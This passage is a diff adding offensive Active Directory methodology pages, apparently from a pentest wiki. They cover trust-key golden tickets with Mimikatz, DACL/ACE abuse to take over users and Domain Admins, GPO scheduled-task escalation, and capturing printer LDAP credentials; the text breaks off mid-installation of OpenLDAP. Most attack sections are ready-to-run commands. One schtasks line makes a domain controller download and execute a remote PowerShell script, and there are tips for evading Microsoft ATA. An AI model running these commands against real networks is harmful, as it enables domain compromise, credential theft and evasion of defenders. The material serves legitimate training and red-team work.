+When a **user** tries to **access** a **service** on the **trusting domain** it will request an **inter-realm TGT** to the DC of its domain. The DC wills serve the client this **TGT** which would be **encrypted/signed** with the **inter-realm** **key** \(the key both domains **exchanged**\). Then, the **client** will **access** the **DC of the other domain** and will **request** a **TGS** for the service using the **inter-realm TGT**. The **DC** of the trusting domain will **check** the **key** used, if it's ok, it will **trust everything in that ticket** and will serve the TGS to the client.
+
+![](../../.gitbook/assets/image%20%2865%29.png)
+
+### Different trusts
+
+It's important to notice that **a trust can be 1 way or 2 ways**. In the 2 ways options, both domains will trust each other, but in the **1 way** trust relation one of the domains will be the **trusted** and the other the **trusting** domain. In the last case, **you will only be able to access resources inside the trusting domain from the trusted one**.
+
+A trust relationship can also be **transitive** \(A trust B, B trust C, then A trust C\) or **non-transitive**.
+
+**Different trusting relationships:**
+
+* **Parent/Child** – part of the same forest – a child domain retains an implicit two-way transitive trust with its parent. This is probably the most common type of trust that you’ll encounter.
+* **Cross-link** – aka a “shortcut trust” between child domains to improve referral times. Normally referrals in a complex forest have to filter up to the forest root and then back down to the target domain, so for a geographically spread out scenario, cross-links can make sense to cut down on authentication times.
+* **External** – an implicitly non-transitive trust created between disparate domains. “[External trusts provide access to resources in a domain outside of the forest that is not already joined by a forest trust.](https://technet.microsoft.com/en-us/library/cc773178%28v=ws.10%29.aspx)” External trusts enforce SID filtering, a security protection covered later in this post.
+* **Tree-root** – an implicit two-way transitive trust between the forest root domain and the new tree root you’re adding. I haven’t encountered tree-root trusts too often, but from the [Microsoft documentation](https://technet.microsoft.com/en-us/library/cc773178%28v=ws.10%29.aspx), they’re created when you when you create a new domain tree in a forest. These are intra-forest trusts, and they [preserve two-way transitivity](https://technet.microsoft.com/en-us/library/cc757352%28v=ws.10%29.aspx) while allowing the tree to have a separate domain name \(instead of child.parent.com\).
+* **Forest** – a transitive trust between one forest root domain and another forest root domain. Forest trusts also enforce SID filtering.
+* **MIT** – a trust with a non-Windows [RFC4120-compliant](https://tools.ietf.org/html/rfc4120) Kerberos domain. I hope to dive more into MIT trusts in the future.
+
+### Attack Path
+
+1. **Enumerate** the trusting relationships
+2. Check if any **security principal** \(user/group/computer\) has **access** to resources of the **other domain**, maybe by ACE entries or by being in groups of the other domain. Look for **relationships across domains** \(the trust was created for this probably\).
+   1. kerberoast in this case could be another option.
+3. **Compromise** the **accounts** which can **pivot** through domains. 
+
+There are three **main** ways that security principals \(users/groups/computer\) from one domain can have access into resources in another foreign/trusting domain:
+
+* They can be added to **local groups** on individual machines, i.e. the local “Administrators” group on a server.
+* They can be added to **groups in the foreign domain**. There are some caveats depending on trust type and group scope, described shortly.
+* They can be added as principals in an **access control list**, most interesting for us as principals in **ACEs** in a **DACL**. For more background on ACLs/DACLs/ACEs, check out the “[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)” whitepaper.
+
+### Child-to-Parent forest privilege escalation
+
+Also, notice that there are **2 trusted keys**, one for _Child --&gt; Parent_ and another one for P_arent --&gt; Child_.
+
+```bash
+Invoke-Mimikatz -Command '"lsadump::trust /patch"' -ComputerName dc.my.domain.local
+Invoke-Mimikatz -Command '"lsadump::dcsync /user:dcorp\mcorp$"'
+```
+
+```bash
+Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-21-1874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234-700767426-519 /rc4:7ef5be456dc8d7450fb8f5f7348746c5 /service:krbtgt /target:moneycorp.local /ticket:C:\AD\Tools\kekeo_old\trust_tkt.kirbi"'
+/domain:<Current domain>
+/sid:<SID of current domain>
+/sids:<SID of the Enterprise Admins group of the parent domain>
+/rc4:<Trusted key>
+/user:Administrator
+/service:<target service>
+/target:<Other domain>
+/ticket:C:\path\save\ticket.kirbi
+```
+
+For finding the **SID** of the **"Enterprise Admins"** group you can find the **SID** of the **root domain** and set it in S-1-5-21_root domain_-519. For example, from root domain SID _S-1-5-21-280534878-1496970234-700767426_ the "Enterprise Admins"group SID is _S-1-5-21-280534878-1496970234-700767426-519_
+
+[http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/](http://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/)
+
+```bash
+.\asktgs.exe C:\AD\Tools\kekeo_old\trust_tkt.kirbi CIFS/mcorp-dc.moneycorp.local 
+ .\kirbikator.exe lsa .\CIFS.mcorpdc.moneycorp.local.kirbi
+ ls \\mcorp-dc.moneycorp.local\c$
+```
+
+Escalate to DA of root or Enterprise admin using the KRBTGT hash of the compromised domain:
+
+```bash
+Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:S-1-5-211874506631-3219952063-538504511 /sids:S-1-5-21-280534878-1496970234700767426-519 /krbtgt:ff46a9d8bd66c6efd77603da26796f35 /ticket:C:\AD\Tools\krbtgt_tkt.kirbi"'
+Invoke-Mimikatz -Command '"kerberos::ptt C:\AD\Tools\krbtgt_tkt.kirbi"'
+gwmi -class win32_operatingsystem -ComputerName mcorpdc.moneycorp.local
+schtasks /create /S mcorp-dc.moneycorp.local /SC Weekely /RU "NT Authority\SYSTEM" /TN "STCheck114" /TR "powershell.exe -c 'iex (New-Object Net.WebClient).DownloadString(''http://172.16.100.114:8080/pc.ps1''')'"
+schtasks /Run /S mcorp-dc.moneycorp.local /TN "STCheck114"
+```
+
+### External Forest Domain Privilege escalation
+
+In this case you can **sign with** the **trusted** key a **TGT impersonating** the **Administrator** user of the current domain. In this case you **won't always get Domain Admins privileges in the external domain**, but **only** the privileges the Administrator user of your current domain **was given** in the external domain.
+
+```bash
+Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:<current domain> /SID:<current domain SID> /rc4:<trusted key> /target:<external.domain> /ticket:C:\path\save\ticket.kirbi"'
+```
+
+### Domain trust abuse mitigation
+
+**SID Filtering:**
+
+* Avoid attacks which abuse SID history attribute across forest trust.
+* Enabled by default on all inter-forest trusts. Intra-forest trusts are assumed secured by default \(MS considers forest and not the domain to be a security boundary\).
+* But, since SID filtering has potential to break applications and user access, it is often disabled.
+* Selective Authentication
+  * In an inter-forest trust, if Selective Authentication is configured, users between the trusts will not be automatically authenticated. Individual access to domains and servers in the trusting domain/forest should be given.
+
+[**More information about domain trusts in ired.team.**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/child-domain-da-to-ea-in-parent-domain)
+
+## Some General Defenses
+
+[**Learn more about how to protect credentials here.**](../stealing-credentials/credentials-protections.md)  
+**Please, find some migrations against each technique in the description of the technique.**
+
+* Not allow Domain Admins to login on any other hosts apart from Domain Controllers
+* Never run a service with DA privileges
+* If you need domain admin privileges, limit the time: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
+
+### Deception
+
+* Password does not expire
+* Trusted for Delegation
+* Users with SPN
+* Password in description
+* Users who are members of high privilege groups
+* Users with ACL rights over other users, groups or containers
+* Computer objects
+* ...
+* [https://github.com/samratashok/Deploy-Deception](https://github.com/samratashok/Deploy-Deception)
+  * `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
+
+## How to identify deception
+
+**For user objects:**
+
+* ObjectSID \(different from the domain\)
+* lastLogon, lastlogontimestamp 
+* Logoncount \(very low number is suspicious\)
+* whenCreated
+* Badpwdcount \(very low number is suspicious\)
+
+**General:**
+
+* Some solutions fill with information in all the possible attributes. For example, compare the attributes of a computer object with the attribute of a 100% real computer object like DC. Or users against the RID 500 \(default admin\).
+* Check if something is too good to be true
+* [https://github.com/JavelinNetworks/HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster)
+
+### Bypassing Microsoft ATA detection
+
+#### User enumeration
+
+ATA only complains when you try to enumerate sessions in the DC, so if you don't look for sessions in the DC but in the rest of the hosts, you probably won't get detected.
+
+#### Tickets impersonation creation \(Over pass the hash, golden ticket...\)
+
+Always create the tickets using the **aes** keys also because what ATA identifies as malicious is the degradation to NTLM.
+
+#### DCSync
+
+If you don't execute this from a Domain Controller, ATA is going to catch you, sorry.
+
+## More Tools
+
+* [Powershell script to do domain auditing automation](https://github.com/phillips321/adaudit)
+* [Python script to enumerate active directory](https://github.com/ropnop/windapsearch)
+* [Python script to enumerate active directory](https://github.com/CroweCybersecurity/ad-ldap-enum)
+
+![](../../.gitbook/assets/68747470733a2f2f7777772e6275796d6561636f666665652e636f6d2f6173736574732f696d672f637573746f6d5f696d616765732f6f72616e67655f696d672e706e67%20%286%29%20%284%29%20%2812%29.png)
+
+​[**Buy me a coffee here**](https://www.buymeacoffee.com/carlospolop)
+
diff --git a/windows/active-directory-methodology/acl-persistence-abuse.md b/windows/active-directory-methodology/acl-persistence-abuse.md
new file mode 100644
index 00000000000..68a64e714c0
--- /dev/null
+++ b/windows/active-directory-methodology/acl-persistence-abuse.md
@@ -0,0 +1,445 @@
+# Abusing Active Directory ACLs/ACEs
+
+**This information was copied from** [**https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces**](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-acls-aces) **because it's just perfect**
+
+## Context
+
+This lab is to abuse weak permissions of Active Directory Discretionary Access Control Lists \(DACLs\) and Acccess Control Entries \(ACEs\) that make up DACLs.
+
+Active Directory objects such as users and groups are securable objects and DACL/ACEs define who can read/modify those objects \(i.e change account name, reset password, etc\). 
+
+An example of ACEs for the "Domain Admins" securable object can be seen here:
+
+![](../../.gitbook/assets/1%20%281%29.png)
+
+Some of the Active Directory object permissions and types that we as attackers are interested in:
+
+* **GenericAll** - full rights to the object \(add users to a group or reset user's password\)
+* **GenericWrite** - update object's attributes \(i.e logon script\)
+* **WriteOwner** - change object owner to attacker controlled user take over the object
+* **WriteDACL** - modify object's ACEs and give attacker full control right over the object
+* **AllExtendedRights** - ability to add user to a group or reset password
+* **ForceChangePassword** - ability to change user's password
+* **Self \(Self-Membership\)** - ability to add yourself to a group
+
+In this lab, we are going to explore and try to exploit most of the above ACEs.
+
+## GenericAll on User
+
+Using powerview, let's check if our attacking user `spotless` has `GenericAll rights` on the AD object for the user `delegate`:
+
+```csharp
+Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.ActiveDirectoryRights -eq "GenericAll"}  
+```
+
+We can see that indeed our user `spotless` has the `GenericAll` rights, effectively enabling the attacker to take over the account:
+
+![](../../.gitbook/assets/2.png)
+
+We can reset user's `delegate` password without knowing the current password:
+
+![](../../.gitbook/assets/3.png)
+
+## GenericAll on Group
+
+Let's see if `Domain admins` group has any weak permissions. First of, let's get its `distinguishedName`:
+
+```csharp
+Get-NetGroup "domain admins" -FullData
+```
+
+![](../../.gitbook/assets/4.png)
+
+```csharp
+ Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local"}
+```
+
+We can see that our attacking user `spotless` has `GenericAll` rights once again:
+
+![](../../.gitbook/assets/5.png)
+
+Effectively, this allows us to add ourselves \(the user `spotless`\) to the `Domain Admin` group:
+
+```csharp
+net group "domain admins" spotless /add /domain
+```
+
+![](../../.gitbook/assets/6.gif)
+
+Same could be achieved with Active Directory or PowerSploit module:
+
+```csharp
+# with active directory module
+Add-ADGroupMember -Identity "domain admins" -Members spotless
+
+# with Powersploit
+Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"
+```
+
+## GenericAll / GenericWrite / Write on Computer
+
+If you have these privileges on a Computer object, you can pull [Kerberos **Resource-based Constrained Delegation**: Computer Object Take Over](resource-based-constrained-delegation.md) off.
+
+## WriteProperty on Group
+
+If our controlled user has `WriteProperty` right on `All` objects for `Domain Admin` group:
+
+![](../../.gitbook/assets/7.png)
+
+We can again add ourselves to the `Domain Admins` group and escalate privileges:
+
+```csharp
+net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
+```
+
+![](../../.gitbook/assets/8.png)
+
+## Self \(Self-Membership\) on Group
+
+Another privilege that enables the attacker adding themselves to a group:
+
+![](../../.gitbook/assets/9.png)
+
+```csharp
+net user spotless /domain; Add-NetGroupUser -UserName spotless -GroupName "domain admins" -Domain "offense.local"; net user spotless /domain
+```
+
+![](../../.gitbook/assets/10.png)
+
+## WriteProperty \(Self-Membership\)
+
+One more privilege that enables the attacker adding themselves to a group:
+
+```csharp
+Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
+```
+
+![](../../.gitbook/assets/11.png)
+
+```csharp
+net group "domain admins" spotless /add /domain
+```
+
+![](../../.gitbook/assets/12.png)
+
+## **ForceChangePassword**
+
+If we have `ExtendedRight` on `User-Force-Change-Password` object type, we can reset the user's password without knowing their current password:
+
+```csharp
+Get-ObjectAcl -SamAccountName delegate -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
+```
+
+![](../../.gitbook/assets/13.png)
+
+Doing the same with powerview:
+
+```csharp
+Set-DomainUserPassword -Identity delegate -Verbose
+```
+
+![](../../.gitbook/assets/14.png)
+
+Another method that does not require fiddling with password-secure-string conversion:
+
+```csharp
+$c = Get-Credential
+Set-DomainUserPassword -Identity delegate -AccountPassword $c.Password -Verbose
+```
+
+![](../../.gitbook/assets/15.png)
+
+...or a one liner if no interactive session is not available:
+
+```csharp
+Set-DomainUserPassword -Identity delegate -AccountPassword (ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
+```
+
+![](../../.gitbook/assets/16.png)
+
+and one last way yo achieve this from linux:
+
+```markup
+rpcclient -U KnownUsername 10.10.10.192
+> setuserinfo2 UsernameChange 23 'ComplexP4ssw0rd!'
+```
+
+More info:
+
+* [https://malicious.link/post/2017/reset-ad-user-password-with-linux/](https://malicious.link/post/2017/reset-ad-user-password-with-linux/)
+* [https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-samr/6b0dff90-5ac0-429a-93aa-150334adabf6?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/6b0dff90-5ac0-429a-93aa-150334adabf6?redirectedfrom=MSDN)
+* [https://docs.microsoft.com/en-us/openspecs/windows\_protocols/ms-samr/e28bf420-8989-44fb-8b08-f5a7c2f2e33c](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/e28bf420-8989-44fb-8b08-f5a7c2f2e33c)
+
+## WriteOwner on Group
+
+Note how before the attack the owner of `Domain Admins` is `Domain Admins`:
+
+![](../../.gitbook/assets/17.png)
+
+After the ACE enumeration, if we find that a user in our control has `WriteOwner` rights on `ObjectType:All`
+
+```csharp
+Get-ObjectAcl -ResolveGUIDs | ? {$_.objectdn -eq "CN=Domain Admins,CN=Users,DC=offense,DC=local" -and $_.IdentityReference -eq "OFFENSE\spotless"}
+```
+
+![](../../.gitbook/assets/18.png)
+
+...we can change the `Domain Admins` object's owner to our user, which in our case is `spotless`. Note that the SID specified with `-Identity` is the SID of the `Domain Admins` group:
+
+```csharp
+Set-DomainObjectOwner -Identity S-1-5-21-2552734371-813931464-1050690807-512 -OwnerIdentity "spotless" -Verbose
+//You can also use the name instad of the SID (HTB: Reel)
+Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
+```
+
+![](../../.gitbook/assets/19.png)
+
+## GenericWrite on User
+
+```csharp
+Get-ObjectAcl -ResolveGUIDs -SamAccountName delegate | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
+```
+
+![](../../.gitbook/assets/20.png)
+
+`WriteProperty` on an `ObjectType`, which in this particular case is `Script-Path`, allows the attacker to overwrite the logon script path of the `delegate` user, which means that the next time, when the user `delegate` logs on, their system will execute our malicious script:
+
+```csharp
+Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1"
+```
+
+Below shows the user's ~~`delegate`~~ logon script field got updated in the AD:
+
+![](../../.gitbook/assets/21.png)
+
+## WriteDACL + WriteOwner
+
+If you are the owner of a group, like I'm the owner of a `Test` AD group:
+
+![](../../.gitbook/assets/22.png)
+
+Which you can of course do through powershell:
+
+```csharp
+([ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local").PSBase.get_ObjectSecurity().GetOwner([System.Security.Principal.NTAccount]).Value
+```
+
+![](../../.gitbook/assets/23.png)
+
+And you have a `WriteDACL` on that AD object:
+
+![](../../.gitbook/assets/24.png)
+
+...you can give yourself [`GenericAll`]() privileges with a sprinkle of ADSI sorcery:
+
+```csharp
+$ADSI = [ADSI]"LDAP://CN=test,CN=Users,DC=offense,DC=local"
+$IdentityReference = (New-Object System.Security.Principal.NTAccount("spotless")).Translate([System.Security.Principal.SecurityIdentifier])
+$ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule $IdentityReference,"GenericAll","Allow"
+$ADSI.psbase.ObjectSecurity.SetAccessRule($ACE)
+$ADSI.psbase.commitchanges()
+```
+
+Which means you now fully control the AD object:
+
+![](../../.gitbook/assets/25.png)
+
+This effectively means that you can now add new users to the group.
+
+Interesting to note that I could not abuse these privileges by using Active Directory module and `Set-Acl` / `Get-Acl` cmdlets:
+
+```csharp
+$path = "AD:\CN=test,CN=Users,DC=offense,DC=local"
+$acl = Get-Acl -Path $path
+$ace = new-object System.DirectoryServices.ActiveDirectoryAccessRule (New-Object System.Security.Principal.NTAccount "spotless"),"GenericAll","Allow"
+$acl.AddAccessRule($ace)
+Set-Acl -Path $path -AclObject $acl
+```
+
+![](../../.gitbook/assets/26.png)
+
+## **Replication on the domain \(DCSync\)**
+
+The **DCSync** permission implies having these permissions over the domain itself: **DS-Replication-Get-Changes**, **Replicating Directory Changes All** and **Replicating Directory Changes In Filtered Set**.  
+[**Learn more about the DCSync attack here.**](dcsync.md)\*\*\*\*
+
+## GPO Delegation <a id="gpo-delegation"></a>
+
+Sometimes, certain users/groups may be delegated access to manage Group Policy Objects as is the case with `offense\spotless` user:
+
+![](../../.gitbook/assets/a13.png)
+
+We can see this by leveraging PowerView like so:
+
+```bash
+Get-ObjectAcl -ResolveGUIDs | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
+```
+
+The below indicates that the user `offense\spotless` has **WriteProperty**, **WriteDacl**, **WriteOwner** privileges among a couple of others that are ripe for abuse:
+
+![](../../.gitbook/assets/a14.png)
+
+\*\*\*\*[**More about general AD ACL/ACE abuse here.**](acl-persistence-abuse.md)\*\*\*\*
+
+### Abusing the GPO Permissions <a id="abusing-the-gpo-permissions"></a>
+
+We know the above ObjectDN from the above screenshot is referring to the `New Group Policy Object` GPO since the ObjectDN points to `CN=Policies` and also the `CN={DDC640FF-634A-4442-BC2E-C05EED132F0C}` which is the same in the GPO settings as highlighted below:
+
+![](../../.gitbook/assets/a15.png)
+
+If we want to search for misconfigured GPOs specifically, we can chain multiple cmdlets from PowerSploit like so:
+
+```bash
+Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name} | ? {$_.IdentityReference -eq "OFFENSE\spotless"}
+```
+
+![](../../.gitbook/assets/a16.png)
+
+#### Computers with a Given Policy Applied <a id="computers-with-a-given-policy-applied"></a>
+
+We can now resolve the computer names the GPO `Misconfigured Policy` is applied to:
+
+```text
+Get-NetOU -GUID "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" | % {Get-NetComputer -ADSpath $_}
+```
+
+![](../../.gitbook/assets/a17.png)
+
+#### Policies Applied to a Given Computer <a id="policies-applied-to-a-given-computer"></a>
+
+```text
+Get-DomainGPO -ComputerIdentity ws01 -Properties Name, DisplayName
+```
+
+![](https://blobs.gitbook.com/assets%2F-LFEMnER3fywgFHoroYn%2F-LWNAqc8wDhu0OYElzrN%2F-LWNBOmSsNrObOboiT2E%2FScreenshot%20from%202019-01-16%2019-44-19.png?alt=media&token=34332022-c1fc-4f97-a7e9-e0e4d98fa8a5)
+
+#### OUs with a Given Policy Applied <a id="ous-with-a-given-policy-applied"></a>
+
+```text
+Get-DomainOU -GPLink "{DDC640FF-634A-4442-BC2E-C05EED132F0C}" -Properties DistinguishedName
+```
+
+![](https://blobs.gitbook.com/assets%2F-LFEMnER3fywgFHoroYn%2F-LWNAqc8wDhu0OYElzrN%2F-LWNBtLT332kTVDzd5qV%2FScreenshot%20from%202019-01-16%2019-46-33.png?alt=media&token=ec90fdc0-e0dc-4db0-8279-cde4720df598)
+
+#### Abusing Weak GPO Permissions <a id="abusing-weak-gpo-permissions"></a>
+
+One of the ways to abuse this misconfiguration and get code execution is to create an immediate scheduled task through the GPO like so:
+
+```text
+New-GPOImmediateTask -TaskName evilTask -Command cmd -CommandArguments "/c net localgroup administrators spotless /add" -GPODisplayName "Misconfigured Policy" -Verbose -Force
+```
+
+![](../../.gitbook/assets/a19.png)
+
+The above will add our user spotless to the local `administrators` group of the compromised box. Note how prior to the code execution the group does not contain user `spotless`:
+
+![](../../.gitbook/assets/a20.png)
+
+### Force Policy Update <a id="force-policy-update"></a>
+
+ScheduledTask and its code will execute after the policy updates are pushed through \(roughly each 90 minutes\), but we can force it with `gpupdate /force` and see that our user `spotless` now belongs to local administrators group:
+
+![](../../.gitbook/assets/a21.png)
+
+### Under the hood <a id="under-the-hood"></a>
+
+If we observe the Scheduled Tasks of the `Misconfigured Policy` GPO, we can see our `evilTask` sitting there:
+
+![](../../.gitbook/assets/a22.png)
+
+Below is the XML file that got created by `New-GPOImmediateTask` that represents our evil scheduled task in the GPO:
+
+{% code title="\\\\offense.local\\SysVol\\offense.local\\Policies\\{DDC640FF-634A-4442-BC2E-C05EED132F0C}\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml" %}
+```markup
+<?xml version="1.0" encoding="utf-8"?>
+<ScheduledTasks clsid="{CC63F200-7309-4ba0-B154-A71CD118DBCC}">
+    <ImmediateTaskV2 clsid="{9756B581-76EC-4169-9AFC-0CA8D43ADB5F}" name="evilTask" image="0" changed="2018-11-20 13:43:43" uid="{6cc57eac-b758-4c52-825d-e21480bbb47f}" userContext="0" removePolicy="0">
+        <Properties action="C" name="evilTask" runAs="NT AUTHORITY\System" logonType="S4U">
+            <Task version="1.3">
+                <RegistrationInfo>
+                    <Author>NT AUTHORITY\System</Author>
+                    <Description></Description>
+                </RegistrationInfo>
+                <Principals>
+                    <Principal id="Author">
+                        <UserId>NT AUTHORITY\System</UserId>
+                        <RunLevel>HighestAvailable</RunLevel>
+                        <LogonType>S4U</LogonType>
+                    </Principal>
+                </Principals>
+                <Settings>
+                    <IdleSettings>
+                        <Duration>PT10M</Duration>
+                        <WaitTimeout>PT1H</WaitTimeout>
+                        <StopOnIdleEnd>true</StopOnIdleEnd>
+                        <RestartOnIdle>false</RestartOnIdle>
+                    </IdleSettings>
+                    <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
+                    <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
+                    <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
+                    <AllowHardTerminate>false</AllowHardTerminate>
+                    <StartWhenAvailable>true</StartWhenAvailable>
+                    <AllowStartOnDemand>false</AllowStartOnDemand>
+                    <Enabled>true</Enabled>
+                    <Hidden>true</Hidden>
+                    <ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
+                    <Priority>7</Priority>
+                    <DeleteExpiredTaskAfter>PT0S</DeleteExpiredTaskAfter>
+                    <RestartOnFailure>
+                        <Interval>PT15M</Interval>
+                        <Count>3</Count>
+                    </RestartOnFailure>
+                </Settings>
+                <Actions Context="Author">
+                    <Exec>
+                        <Command>cmd</Command>
+                        <Arguments>/c net localgroup administrators spotless /add</Arguments>
+                    </Exec>
+                </Actions>
+                <Triggers>
+                    <TimeTrigger>
+                        <StartBoundary>%LocalTimeXmlEx%</StartBoundary>
+                        <EndBoundary>%LocalTimeXmlEx%</EndBoundary>
+                        <Enabled>true</Enabled>
+                    </TimeTrigger>
+                </Triggers>
+            </Task>
+        </Properties>
+    </ImmediateTaskV2>
+</ScheduledTasks>
+```
+{% endcode %}
+
+### Users and Groups <a id="users-and-groups"></a>
+
+The same privilege escalation could be achieved by abusing the GPO Users and Groups feature. Note in the below file, line 6 where the user `spotless` is added to the local `administrators` group - we could change the user to something else, add another one or even add the user to another group/multiple groups since we can amend the policy configuration file in the shown location due to the GPO delegation assigned to our user `spotless`:
+
+{% code title="\\\\offense.local\\SysVol\\offense.local\\Policies\\{DDC640FF-634A-4442-BC2E-C05EED132F0C}\\Machine\\Preferences\\Groups" %}
+```markup
+<?xml version="1.0" encoding="utf-8"?>
+<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}">
+    <Group clsid="{6D4A79E4-529C-4481-ABD0-F5BD7EA93BA7}" name="Administrators (built-in)" image="2" changed="2018-12-20 14:08:39" uid="{300BCC33-237E-4FBA-8E4D-D8C3BE2BB836}">
+        <Properties action="U" newName="" description="" deleteAllUsers="0" deleteAllGroups="0" removeAccounts="0" groupSid="S-1-5-32-544" groupName="Administrators (built-in)">
+            <Members>
+                <Member name="spotless" action="ADD" sid="" />
+            </Members>
+        </Properties>
+    </Group>
+</Groups>
+```
+{% endcode %}
+
+Additionally, we could think about leveraging logon/logoff scripts, using registry for autoruns, installing .msi, edit services and similar code execution avenues.
+
+## References
+
+{% embed url="https://wald0.com/?p=112" %}
+
+{% embed url="https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=netframework-4.7.2" %}
+
+{% embed url="https://blog.fox-it.com/2018/04/26/escalating-privileges-with-acls-in-active-directory/" %}
+
+{% embed url="https://adsecurity.org/?p=3658" %}
+
+{% embed url="https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryaccessrule.-ctor?view=netframework-4.7.2\#System\_DirectoryServices\_ActiveDirectoryAccessRule\_\_ctor\_System\_Security\_Principal\_IdentityReference\_System\_DirectoryServices\_ActiveDirectoryRights\_System\_Security\_AccessControl\_AccessControlType\_" %}
+
diff --git a/windows/active-directory-methodology/ad-information-in-printers.md b/windows/active-directory-methodology/ad-information-in-printers.md
new file mode 100644
index 00000000000..bccf9d3948f
--- /dev/null
+++ b/windows/active-directory-methodology/ad-information-in-printers.md
@@ -0,0 +1,303 @@
+# AD information in printers
+
+There are several blogs in the Internet which **highlight the dangers of leaving printers configured with LDAP with default/weak** logon credentials.  
+This is because an attacker could **trick the printer to authenticate against a rouge LDAP server** \(typically a `nc -vv -l -p 444` is enough\) and to capture the printer **credentials on clear-text**.
+
+Also, several printers will contains **logs with usernames** or could even be able to **download all usernames** from the Domain Controller.
+
+All this **sensitive information** and the common **lack of security** makes printers very interesting for attackers.
+
+Some blogs about the topic:
+
+* [https://www.ceos3c.com/hacking/obtaining-domain-credentials-printer-netcat/](https://www.ceos3c.com/hacking/obtaining-domain-credentials-printer-netcat/)
+* [https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856](https://medium.com/@nickvangilder/exploiting-multifunction-printers-during-a-penetration-test-engagement-28d3840d8856)
+
+**The following information was copied from** [**https://grimhacker.com/2018/03/09/just-a-printer/**](https://grimhacker.com/2018/03/09/just-a-printer/)\*\*\*\*
+
+## LDAP settings
+
+On Konica Minolta printers it is possible to configure an LDAP server to connect to, along with credentials. In earlier versions of the firmware on these devices I have heard it is possible to recover the credentials simply by reading the html source of the page. Now, however the credentials are not returned in the interface so we have to work a little harder.
+
+The list of LDAP Servers is under: Network &gt; LDAP Setting &gt; Setting Up LDAP
+
+The interface allows the LDAP server to be modified without re-entering the credentials that will be used to connect. I presume this is for a simpler user experience, but it gives an opportunity for an attacker to escalate from master of a printer to a toe hold on the domain.
+
+We can reconfigure the LDAP server address setting to a machine we control, and trigger a connection with the helpful “Test Connection” functionality.
+
+## Listening for the goods
+
+### netcat
+
+If you have better luck than me, you may be able to get away with a simple netcat listener:
+
+```text
+sudo nc -k -v -l -p 386
+```
+
+I am assured by [@\_castleinthesky](https://twitter.com/_castleinthesky) that this works most of the time, however I have yet to be let off that easy.
+
+### Slapd
+
+I have found that a full LDAP server is required as the printer first attempts a null bind and then queries the available information, only if these operations are successful does it proceed to bind with the credentials.
+
+I searched for a simple ldap server that met the requirements, however there seemed to be limited options. In the end I opted to setup an open ldap server and use the slapd debug server service to accept connections and print out the messages from the printer. \(If you know of an easier alternative, I would be happy to hear about it\)
+
+#### Installation
+
+\(Note this section is a lightly adapted version of the guide here [https://www.server-world.info/en/note?os=Fedora\_26&p=openldap](https://www.server-world.info/en/note?os=Fedora_26&p=openldap) \)
+
+From a root terminal:
+
+**Install OpenLDAP,**
+
+```text
+#> dnf install -y install openldap-servers openldap-clients
+
+#> cp /usr/share/openldap-servers/DB_CONFIG.example /var/lib/ldap/DB_CONFIG 
+
+#> chown ldap. /var/lib/ldap/DB_CONFIG
+```
+
+**Set an OpenLDAP admin password \(you will need this again shortly\)**
+
+```text
+#> slappasswd 
+New password:
+Re-enter new password:
+{SSHA}xxxxxxxxxxxxxxxxxxxxxxxx
+```
+
+```text
+#> vim chrootpw.ldif
+# specify the password generated above for "olcRootPW" section
+dn: olcDatabase={0}config,cn=config
+changetype: modify
+add: olcRootPW
+olcRootPW: {SSHA}xxxxxxxxxxxxxxxxxxxxxxxx
+```
+
+```text
+#> ldapadd -Y EXTERNAL -H ldapi:/// -f chrootpw.ldif
+SASL/EXTERNAL authentication started
+SASL username: gidNumber=0+uidNumber=0,cn=peercred,cn=external,cn=auth
+SASL SSF: 0
